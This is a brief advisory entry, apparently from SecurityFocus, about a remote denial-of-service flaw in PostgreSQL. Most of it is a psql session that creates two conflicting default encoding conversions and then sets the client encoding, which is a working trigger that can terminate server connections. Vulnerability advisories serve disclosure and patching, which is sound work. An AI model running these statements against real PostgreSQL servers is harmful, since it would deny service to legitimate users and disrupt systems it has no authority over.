source: https://www.securityfocus.com/bid/34090/info

PostgreSQL is prone to a remote denial-of-service vulnerability.

Exploiting this issue may allow attackers to terminate connections to the PostgreSQL server, denying service to legitimate users.

test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM
ascii_to_mic;
CREATE CONVERSION
test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM
mic_to_ascii;
CREATE CONVERSION
test=# set client_encoding to 'LATIN1';